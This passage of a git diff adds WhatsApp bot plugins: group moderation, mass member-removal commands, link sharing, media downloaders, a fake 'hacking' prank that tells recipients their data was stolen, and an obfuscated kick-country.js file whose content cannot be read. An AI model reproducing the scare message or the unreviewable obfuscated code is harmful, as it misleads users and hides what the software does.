conn.groupSettingUpdate(from, "not_announcement"); + reply("*gส€ฯƒแดœฯ แดœษดะผฯ…ั‚ั”โˆ‚ sแดœแด„แด„ั”ั•ั•fแดœโ„“โ„“ัƒ๐Ÿ”“*"); + } catch (e) { + console.error("Error unmuting group:", e); + reply("โŒ Failed to unmute the group. Please try again."); + } +}); + +cmd({ + pattern: "unlockgc", + alias: ["unlock"], + react: "๐Ÿ”“", + desc: "Unlock the group (Allows new members to join).", + category: "group", + filename: __filename +}, +async (conn, mek, m, { from, isGroup, isAdmins, isBotAdmins, reply }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + if (!isAdmins) return reply("*๐Ÿ“› Only group admins can use this command.*"); + if (!isBotAdmins) return reply("*๐Ÿ“› I need to be an admin to unlock the group.*"); + + await conn.groupSettingUpdate(from, "unlocked"); + reply("โœ… Group has been unlocked. New members can now join."); + } catch (e) { + console.error("Error unlocking group:", e); + reply("โŒ Failed to unlock the group. Please try again."); + } +}); diff --git a/plugins/group-tool.js b/plugins/group-tool.js new file mode 100644 index 0000000000000000000000000000000000000000..8450e376785f7a4efac8a459e9dd7cfd0c91bbfa --- /dev/null +++ b/plugins/group-tool.js @@ -0,0 +1,172 @@ +const { cmd } = require('../command'); +const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + +// remove only member + +cmd({ + pattern: "removemembers", + alias: ["kickall", "endgc", "endgroup"], + desc: "Remove all non-admin members from the group.", + react: "๐ŸŽ‰", + category: "group", + filename: __filename, +}, +async (conn, mek, m, { + from, groupMetadata, groupAdmins, isBotAdmins, senderNumber, reply, isGroup +}) => { + try { + // Check if the command is used in a group + if (!isGroup) { + return reply("This command can only be used in groups."); + } + + // Get the bot owner's number dynamically + const botOwner = conn.user.id.split(":")[0]; + if (senderNumber !== botOwner) { + return reply("Only the bot owner can use this command."); + } + + if (!isBotAdmins) { + return reply("I need to be an admin to execute this command."); + } + + const allParticipants = groupMetadata.participants; + const nonAdminParticipants = allParticipants.filter(member => !groupAdmins.includes(member.id)); + + if (nonAdminParticipants.length === 0) { + return reply("There are no non-admin members to remove."); + } + + reply(`Starting to remove ${nonAdminParticipants.length} non-admin members...`); + + for (let participant of nonAdminParticipants) { + try { + await conn.groupParticipantsUpdate(from, [participant.id], "remove"); + await sleep(2000); // 2-second delay between removals + } catch (e) { + console.error(`Failed to remove ${participant.id}:`, e); + } + } + + reply("Successfully removed all non-admin members from the group."); + } catch (e) { + console.error("Error removing non-admin users:", e); + reply("An error occurred while trying to remove non-admin members. Please try again."); + } +}); + +// remove only admins + +cmd({ + pattern: "removeadmins", + alias: ["kickadmins", "kickall3", "deladmins"], + desc: "Remove all admin members from the group, excluding the bot and bot owner.", + react: "๐ŸŽ‰", + category: "group", + filename: __filename, +}, +async (conn, mek, m, { + from, isGroup, senderNumber, groupMetadata, groupAdmins, isBotAdmins, reply +}) => { + try { + // Check if the command is used in a group + if (!isGroup) { + return reply("This command can only be used in groups."); + } + + // Get the bot owner's number dynamically + const botOwner = conn.user.id.split(":")[0]; + if (senderNumber !== botOwner) { + return reply("Only the bot owner can use this command."); + } + + if (!isBotAdmins) { + return reply("I need to be an admin to execute this command."); + } + + const allParticipants = groupMetadata.participants; + const adminParticipants = allParticipants.filter(member => groupAdmins.includes(member.id) && member.id !== conn.user.id && member.id !== `${botOwner}@s.whatsapp.net`); + + if (adminParticipants.length === 0) { + return reply("There are no admin members to remove."); + } + + reply(`Starting to remove ${adminParticipants.length} admin members, excluding the bot and bot owner...`); + + for (let participant of adminParticipants) { + try { + await conn.groupParticipantsUpdate(from, [participant.id], "remove"); + await sleep(2000); // 2-second delay between removals + } catch (e) { + console.error(`Failed to remove ${participant.id}:`, e); + } + } + + reply("Successfully removed all admin members from the group, excluding the bot and bot owner."); + } catch (e) { + console.error("Error removing admins:", e); + reply("An error occurred while trying to remove admins. Please try again."); + } +}); + +// remove admins and memeber both + +cmd({ + pattern: "removeall2", + alias: ["kickall2", "endgc2", "endgroup2"], + desc: "Remove all members and admins from the group, excluding the bot and bot owner.", + react: "๐ŸŽ‰", + category: "group", + filename: __filename, +}, +async (conn, mek, m, { + from, isGroup, senderNumber, groupMetadata, isBotAdmins, reply +}) => { + try { + // Check if the command is used in a group + if (!isGroup) { + return reply("This command can only be used in groups."); + } + + // Get the bot owner's number dynamically + const botOwner = conn.user.id.split(":")[0]; + if (senderNumber !== botOwner) { + return reply("Only the bot owner can use this command."); + } + + if (!isBotAdmins) { + return reply("I need to be an admin to execute this command."); + } + + const allParticipants = groupMetadata.participants; + + if (allParticipants.length === 0) { + return reply("The group has no members to remove."); + } + + // Filter out the bot and bot owner from the list + const participantsToRemove = allParticipants.filter( + participant => participant.id !== conn.user.id && participant.id !== `${botOwner}@s.whatsapp.net` + ); + + if (participantsToRemove.length === 0) { + return reply("No members to remove after excluding the bot and bot owner."); + } + + reply(`Starting to remove ${participantsToRemove.length} members, excluding the bot and bot owner...`); + + for (let participant of participantsToRemove) { + try { + await conn.groupParticipantsUpdate(from, [participant.id], "remove"); + await sleep(2000); // 2-second delay between removals + } catch (e) { + console.error(`Failed to remove ${participant.id}:`, e); + } + } + + reply("Successfully removed all members, excluding the bot and bot owner, from the group."); + } catch (e) { + console.error("Error removing members:", e); + reply("An error occurred while trying to remove members. Please try again."); + } +}); \ No newline at end of file diff --git a/plugins/group2.js b/plugins/group2.js new file mode 100644 index 0000000000000000000000000000000000000000..0626cd02386a135cad9a3df71a2105eedfea8e8a --- /dev/null +++ b/plugins/group2.js @@ -0,0 +1,48 @@ + + +const { cmd } = require('../command'); +let antideleteStatus = {}; // Tracks the ON/OFF status for each chat + + +cmd({ + pattern: "channel", + desc: "Get the link to the official WhatsApp channel.", + react: "๐Ÿ“ข", + category: "utility", + use: ".channel", + filename: __filename, +}, async (conn, mek, m, { reply }) => { + try { + // Define the channel link inside the command + const channelLink = "https://whatsapp.com/channel/0029VaoRxGmJpe8lgCqT1T2h"; + + // Send the channel link to the user + reply(`*สœแด‡ส€แด‡'s แด›สœแด‡ สŸษชษดแด‹ แด›แด แดแดœส€ แดา“า“ษชแด„ษชแด€สŸ แดกสœแด€แด›sแด€แด˜แด˜ แด€สŸษช แด„สœแด€ษดษดแด‡สŸ*:\n\n${channelLink}\n\n> *แดŠแดษชษด แดœs แด›แด sแด›แด€ส แดœแด˜แด…แด€แด›แด‡แด… แดกษชแด›สœ แด›สœแด‡ สŸแด€แด›แด‡sแด› ษดแด‡แดกs แด€ษดแด… แด€ษดษดแดแดœษดแด„แด‡แดแด‡ษดแด›s๐Ÿงžโ€โ™‚๏ธ.*`); + } catch (error) { + // Log and notify about any errors + console.error("Error sending channel link:", error.message); + reply("โŒ Sorry, an error occurred while trying to send the channel link."); + } +}); +// Command for sending the support group or page link +cmd({ + pattern: "support", + desc: "Get the link to the support group or page.", + react: "๐Ÿ› ๏ธ", + category: "utility", + use: ".support", + filename: __filename, +}, async (conn, mek, m, { reply }) => { + try { + // Define the support link inside the command + const supportLink = "https://chat.whatsapp.com/Lx7sDv7jSy0CCTm5AliPdq"; + + // Send the support link to the user + reply(`*ษดแด‡แด‡แด… สœแด‡สŸแด˜ แดส€ สœแด€แด แด‡ วซแดœแด‡sแด›ษชแดษดs ? แดŠแดษชษด แด€สŸษช sแดœแด˜แด˜แดส€แด› ษขส€แดแดœแด˜๐Ÿช€*\n\n${supportLink}\n\n +> *า“แด‡แด‡สŸ า“ส€แด‡แด‡ แด›แด แด€sแด‹ สแดแดœส€ วซแดœแด‡sแด›ษชแดษดs แดส€ ส€แด‡แด˜แดส€แด› ษชssแดœแด‡s๐Ÿ™‡๐Ÿปโ€โ™‚๏ธ.*.`); + } catch (error) { + // Log and notify about any errors + console.error("Error sending support link:", error.message); + reply("โŒ Sorry, an error occurred while trying to send the support link."); + } +}); diff --git a/plugins/hack.js b/plugins/hack.js new file mode 100644 index 0000000000000000000000000000000000000000..7c31fa213dfea42465ccc59b66eb7a889cad636f --- /dev/null +++ b/plugins/hack.js @@ -0,0 +1,57 @@ + + +const {cmd , commands} = require('../command'); + +cmd({ + pattern: "hack", + desc: "Displays a dynamic and playful 'Hacking' message for fun.", + category: "fun", + react: "๐Ÿ‘จโ€๐Ÿ’ป", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // โžก๏ธ Vรฉrifier si l'utilisateur est l'Owner + if (!isOwner) return reply("*๐Ÿ“› แดษดสŸส แด›สœแด‡ แดแดกษดแด‡ส€ แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด….*"); + + const steps = [ + '๐Ÿ’ป *ALI-MD-V1 HACK STARTING...* ๐Ÿ’ป', + '', + '*Initializing hacking tools...* ๐Ÿ› ๏ธ', + '*Connecting to remote servers...* ๐ŸŒ', + '', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 10%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 20%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 30%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 40%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 50%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 60%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 70%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 80%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 90%``` โณ', + '```[โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ] 100%``` โœ…', + '', + '๐Ÿ”’ *System Breach: Successful!* ๐Ÿ”“', + '๐Ÿš€ *Command Execution: Complete!* ๐ŸŽฏ', + '', + '*๐Ÿ“ก Transmitting data...* ๐Ÿ“ค', + '*๐Ÿ•ต๏ธโ€โ™‚๏ธ Ensuring stealth...* ๐Ÿคซ', + '*๐Ÿ”ง Finalizing operations...* ๐Ÿ', + '*๐Ÿ”ง ali Get Your All Data...* ๐ŸŽ', + '', + 'โš ๏ธ *Note:* All actions are for demonstration purposes only.', + 'โš ๏ธ *Reminder:* Ethical hacking is the only way to ensure security.', + 'โš ๏ธ *Reminder:* Strong hacking is the only way to ensure security.', + '', + ' *๐Ÿ‘จโ€๐Ÿ’ป YOUR DATA HACK SUCCESSFULLY ๐Ÿ‘ฉโ€๐Ÿ’ปโ˜ฃ*' + ]; + + for (const line of steps) { + await conn.sendMessage(from, { text: line }, { quoted: mek }); + await new Promise(resolve => setTimeout(resolve, 1000)); // Adjust the delay as needed + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); diff --git a/plugins/img.js b/plugins/img.js new file mode 100644 index 0000000000000000000000000000000000000000..4d7e4fcaedacecda54a724e0349f8ffff990430d --- /dev/null +++ b/plugins/img.js @@ -0,0 +1,119 @@ +const { + cmd, + commands +} = require('../command'); +const axios = require('axios'); + +cmd({ + pattern: 'imgsearch', + alias: ['img','pin','image'], + react: '๐Ÿ”', + desc: 'Search for images on Google', + category: 'image', + filename: __filename +}, async (conn, mek, m, { + body, + from, + quoted, + isCmd, + command, + args, + q, + isGroup, + sender, + senderNumber, + botNumber2, + botNumber, + pushname, + isMe, + isOwner, + groupMetadata, + groupName, + participants, + groupAdmins, + isBotAdmins, + isAdmins, + reply +}) => { + const text = body.trim().replace(command, '').trim(); + if (!text) { + return reply(`*๐Ÿ”Ž แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ sแด‡แด€ส€แด„สœ แด‹แด‡สแดกแดส€แด…s แด‡xแด€แดแด˜สŸแด‡: .ษชแดแด€ษขแด‡ แด„แด€แด›*`); + } + + try { + await conn.sendMessage(m.chat, { react: { text: "๐Ÿ”", key: m.key } }); + + const apiResponse = await axios.get(`https://apis.davidcyriltech.my.id/googleimage`, { + params: { query: text } + }); + + const { success, results } = apiResponse.data; + + if (!success || !results || results.length === 0) { + return reply(`โŒ No images found for "${text}". Try another search.`); + } + + const maxImages = Math.min(results.length, 5); + for (let i = 0; i < maxImages; i++) { + await conn.sendMessage(m.chat, { + image: { url: results[i] }, + caption: `๐Ÿ–ผ๏ธ *ษชแดแด€ษขแด‡ sแด‡แด€ส€แด„สœ*\n\n๐Ÿ”Ž *วซแดœแด‡ส€ส:* "${text}"\n๐Ÿ“„ *ส€แด‡sแดœสŸแด›:* ${i + 1}/${maxImages}\n\n> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช แดแด…*`, + }, { quoted: m }); + } + + await conn.sendMessage(m.chat, { react: { text: "โœ…", key: m.key } }); + + } catch (error) { + console.error("Error in Image Search:", error); + reply(`โŒ *Error fetching images. Try again later.*`); + } +}); + + +//######## +cmd({ + 'pattern': "img2", + 'alias': ["image2", "pinterest2", "pinimg2"], + 'react': '๐Ÿ–ผ๏ธ', + 'desc': "Search and download images from Pinterest using keywords.", + 'category': "image", + 'use': ".img ", + 'filename': __filename +}, async (_0x1a9409, _0x59fdb9, _0x3f150e, { + from: _0x163393, + args: _0x12b1f7, + reply: _0x2ac5cb +}) => { + try { + const _0x3207b0 = _0x12b1f7.join(" "); + if (!_0x3207b0) { + return _0x2ac5cb("*๐Ÿ”Ž แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ sแด‡แด€ส€แด„สœ แด‹แด‡สแดกแดส€แด…s แด‡xแด€แดแด˜สŸแด‡: .ษชแดแด€ษขแด‡2 แด„แด€แด›*"); + } + _0x2ac5cb("*๐Ÿ” Showing Results For - " + _0x3207b0 + "...*"); + const _0x2f5556 = 'https://apis.davidcyriltech.my.id/googleimage?query=' + encodeURIComponent(_0x3207b0); + const _0x530cac = await axios.get(_0x2f5556); + if (!_0x530cac.data || !_0x530cac.data.result || _0x530cac.data.result.length === 0x0) { + return _0x2ac5cb("โŒ No images found for \"" + _0x3207b0 + "\"."); + } + const _0x82a454 = _0x530cac.data.result; + for (let _0xecb4cf = 0x0; _0xecb4cf < Math.min(_0x82a454.length, 0x5); _0xecb4cf++) { + const _0x58b5b7 = _0x82a454[_0xecb4cf]; + if (_0x58b5b7.images_url) { + await _0x1a9409.sendMessage(_0x163393, { + 'image': { + 'url': _0x58b5b7.images_url + }, + 'caption': "*ยฉ แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช แดแด…*" + }, { + 'quoted': _0x59fdb9 + }); + } + } + if (_0x82a454.every(_0x45deb7 => !_0x45deb7.images_url)) { + _0x2ac5cb("โŒ No valid image URLs found in the results."); + } + } catch (_0x422b47) { + console.error(_0x422b47); + _0x2ac5cb("โŒ An error occurred while processing your request."); + } +}); diff --git a/plugins/insta-dl.js b/plugins/insta-dl.js new file mode 100644 index 0000000000000000000000000000000000000000..992a4397e225aed744851463d256d8b570d1b643 --- /dev/null +++ b/plugins/insta-dl.js @@ -0,0 +1,54 @@ +const axios = require("axios"); +const { cmd, commands } = require('../command'); + + +cmd({ + pattern: "insta", + alias: ["igdl", "reel", "ig", "instadl"], + desc: "Download Instagram reels or image posts", + category: "downloader", + react: "โณ", + filename: __filename +}, +async (conn, mek, m, { from, args, q, reply, react }) => { + try { + if (!q) return reply("*๐Ÿท๏ธ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ษด ษชษดsแด›แด€ษขส€แด€แด แด˜แดsแด› แดส€ ส€แด‡แด‡สŸ สŸษชษดแด‹.*"); + if (!q.includes("instagram.com")) return reply("Invalid Instagram link."); + + const apiUrl = `https://delirius-apiofc.vercel.app/download/igv2?url=${q}`; + const { data } = await axios.get(apiUrl); + + if (!data.status || !data.data) { + await react("โŒ"); + return reply("Failed to fetch Instagram media."); + } + + const { username, fullname, caption, likes, comments, followed, download } = data.data; + + const captionText = `*โ’ แด€สŸษช-แดแด… แด ษชแด…แด‡แด แด…แดแดกษดสŸแดแด€แด…แด‡แด… โ’*\n\n` + + `๐Ÿ‘ค *แดœsแด‡ส€:* ${fullname}\n` + + `โ™ฅ๏ธ *สŸษชแด‹แด‡s:* ${likes}\n๐Ÿ’ฌ *แด„แดแดแดแด‡ษดแด›s:* ${comments}\n๐Ÿ‘ฅ *า“แดสŸสŸแดแดกแด‡ส€s:* ${followed}\n`; + + for (const media of download) { + if (media.type === "image") { + await conn.sendMessage(from, { + image: { url: media.url }, + caption: captionText, + contextInfo: { mentionedJid: [m.sender] } + }, { quoted: mek }); + } else if (media.type === "video") { + await conn.sendMessage(from, { + video: { url: media.url }, + caption: captionText, + contextInfo: { mentionedJid: [m.sender] } + }, { quoted: mek }); + } + } + + await react("โœ…"); // React after successfully sending media + } catch (e) { + console.error("Error in Instagram downloader command:", e); + await react("โŒ"); + reply(`An error occurred: ${e.message}`); + } +}); diff --git a/plugins/jid.js b/plugins/jid.js new file mode 100644 index 0000000000000000000000000000000000000000..529aff7efd433834bc2ec0ef271c05afd42c331c --- /dev/null +++ b/plugins/jid.js @@ -0,0 +1,63 @@ +const { cmd } = require('../command'); + +cmd({ + pattern: "jid", + desc: "Get the JID of the user or group.", + react: "๐Ÿ“", + category: "group", + filename: __filename, +}, async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // Check if the user has the necessary permissions (Owner or Admin) + if (!isGroup && !isOwner) { + return reply("*โš ๏ธ Only the bot owner or group admins can use this command.*"); + } + + // If it's a group, reply with the group JID + if (isGroup) { + return reply(`*ษขส€แดแดœแด˜ แดŠษชแด…* *${from}@g.us*`); + } + + // If it's a personal chat, reply with the user's JID + if (!isGroup) { + return reply(`User JID: *${sender}@s.whatsapp.net*`); + } + + } catch (e) { + console.error("Error:", e); + reply(`โŒ An error occurred: ${e.message}`); + } +}); + + +// jid2 + +cmd({ + pattern: "jid2", + desc: "Get the JID of the user or group.", + react: "๐Ÿ“", + category: "group", + filename: __filename, +}, async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // Ensure the command is being used in a group or personal chat and the user has necessary permissions + if (!isGroup && !isOwner) { + return reply("โš ๏ธ Only the bot owner or group admins can use this command."); + } + + // If the message is from a group + if (isGroup) { + // Respond with the group JID + return reply(`*ษขส€แดแดœแด˜ แดŠษชแด…:* *${from}@g.us*`); + } + + // If it's a personal chat, respond with the user's JID + if (!isGroup) { + return reply(`User JID: *${sender}@s.whatsapp.net*`); + } + + } catch (e) { + console.error("Error:", e); + reply(`โŒ An error occurred: ${e.message}`); + } +}); diff --git a/plugins/kick-country.js b/plugins/kick-country.js new file mode 100644 index 0000000000000000000000000000000000000000..17e342a8d4574204f19901a7f5624d76ae194bb7 --- /dev/null +++ b/plugins/kick-country.js @@ -0,0 +1 @@ +(function(_0x1cf88a,_0x5f4643){function _0x847d4e(_0x2516ec,_0x182f05,_0xa04e66,_0x89d51f){return _0x36a9(_0x89d51f-0x275,_0x182f05);}const _0x133429=_0x1cf88a();function _0x137fe1(_0x22feea,_0x31555d,_0x12d057,_0x428f6d){return _0x36a9(_0x12d057-0x1c1,_0x22feea);}while(!![]){try{const _0x1c103d=-parseInt(_0x847d4e(0x36d,0x358,0x34e,0x389))/(0x7*-0x9+0x163+-0x1*0x123)+parseInt(_0x137fe1(0x298,0x289,0x27e,0x280))/(0x63*-0xe+0x319*0x5+0xa11*-0x1)+-parseInt(_0x137fe1(0x31f,0x2c1,0x2ed,0x2ec))/(-0x2362*0x1+-0x1f6*0x1+-0x255b*-0x1)+parseInt(_0x847d4e(0x3ae,0x37d,0x3b7,0x397))/(0xd36*-0x1+-0x2018+0x2d52)+-parseInt(_0x137fe1(0x2ff,0x2e6,0x2dd,0x2aa))/(0x1*-0x137b+0xb*-0x2a2+-0x3076*-0x1)+parseInt(_0x137fe1(0x29f,0x2a2,0x2b3,0x277))/(-0x790+-0x17fd+0x1f93)+parseInt(_0x847d4e(0x2f9,0x35c,0x344,0x335))/(-0x2*0x129d+-0x574+0x2ab5);if(_0x1c103d===_0x5f4643)break;else _0x133429['push'](_0x133429['shift']());}catch(_0x1fdb02){_0x133429['push'](_0x133429['shift']());}}}(_0x26ed,-0x4952*0x3+0x19801+-0x9624a*-0x1));const _0x3ee41e=(function(){function _0x571fbd(_0x18b3e9,_0x4959a3,_0x285323,_0x4b6c04){return _0x36a9(_0x4b6c04- -0x12c,_0x285323);}function _0x360b47(_0x37005b,_0xfe8e4a,_0x23bcbf,_0x2ae32d){return _0x36a9(_0x2ae32d-0x1bc,_0xfe8e4a);}const _0x31ca09={'nrmfR':function(_0x58faf5,_0x587a9a){return _0x58faf5+_0x587a9a;},'kmhbc':_0x360b47(0x2fa,0x2a3,0x30a,0x2db)+_0x360b47(0x2b5,0x2f4,0x297,0x2be),'DRCcb':_0x360b47(0x2b6,0x285,0x26d,0x27e)+_0x571fbd(-0x50,-0x22,-0x53,-0x3b)+'rn\x20this\x22)('+'\x20)','voLSP':function(_0x90c6c4){return _0x90c6c4();},'EVrFg':'QmecA'};let _0x1b0667=!![];return function(_0x2cb13a,_0x1ee973){const _0x37a5b1={'dMzer':function(_0x19a97f,_0x32adb6){return _0x19a97f(_0x32adb6);},'abbpL':function(_0x452e8c,_0x1c5fa1){return _0x31ca09['nrmfR'](_0x452e8c,_0x1c5fa1);},'pAJMM':_0x31ca09['kmhbc'],'hzcgh':_0x31ca09[_0x40fe7d(-0x269,-0x287,-0x266,-0x27b)],'RdsnF':function(_0x5cb0bc){return _0x31ca09['voLSP'](_0x5cb0bc);},'jKNsi':_0x31ca09[_0x44599d(0x35c,0x38c,0x340,0x32b)]};function _0x44599d(_0x5ef711,_0x42ced4,_0x3333aa,_0x64e70){return _0x360b47(_0x5ef711-0x70,_0x3333aa,_0x3333aa-0x11e,_0x5ef711-0x7f);}const _0x42dcdf=_0x1b0667?function(){function _0x34994e(_0x548c05,_0x525544,_0x13a0ca,_0x237fcd){return _0x40fe7d(_0x548c05-0xd6,_0x525544-0xef,_0x13a0ca,_0x237fcd-0x178);}function _0xf90ebc(_0x22cd73,_0x8d7c69,_0x42034d,_0x41c398){return _0x44599d(_0x8d7c69- -0xff,_0x8d7c69-0x116,_0x42034d,_0x41c398-0x11b);}const _0x3c0129={'dPPTC':function(_0x2027da,_0x82bb89){function _0x58e1b7(_0x46c52d,_0x1f6355,_0x2f3f7d,_0x110c98){return _0x36a9(_0x2f3f7d-0x20a,_0x1f6355);}return _0x37a5b1[_0x58e1b7(0x295,0x2fe,0x2d1,0x2c3)](_0x2027da,_0x82bb89);},'xnzeb':function(_0x124251,_0x2b95ba){return _0x37a5b1['abbpL'](_0x124251,_0x2b95ba);},'QubSl':_0x37a5b1[_0xf90ebc(0x1e3,0x1fd,0x1ff,0x1c7)],'TXNDv':_0x37a5b1[_0x34994e(-0x1c9,-0x1bf,-0x1c5,-0x1f0)],'ntnWc':function(_0x3ceb81){function _0x5c41ee(_0x5b0d23,_0x1ea1e4,_0x2b416c,_0x5b98b5){return _0x34994e(_0x5b98b5- -0xc9,_0x1ea1e4-0x15b,_0x2b416c,_0x5b98b5-0x116);}return 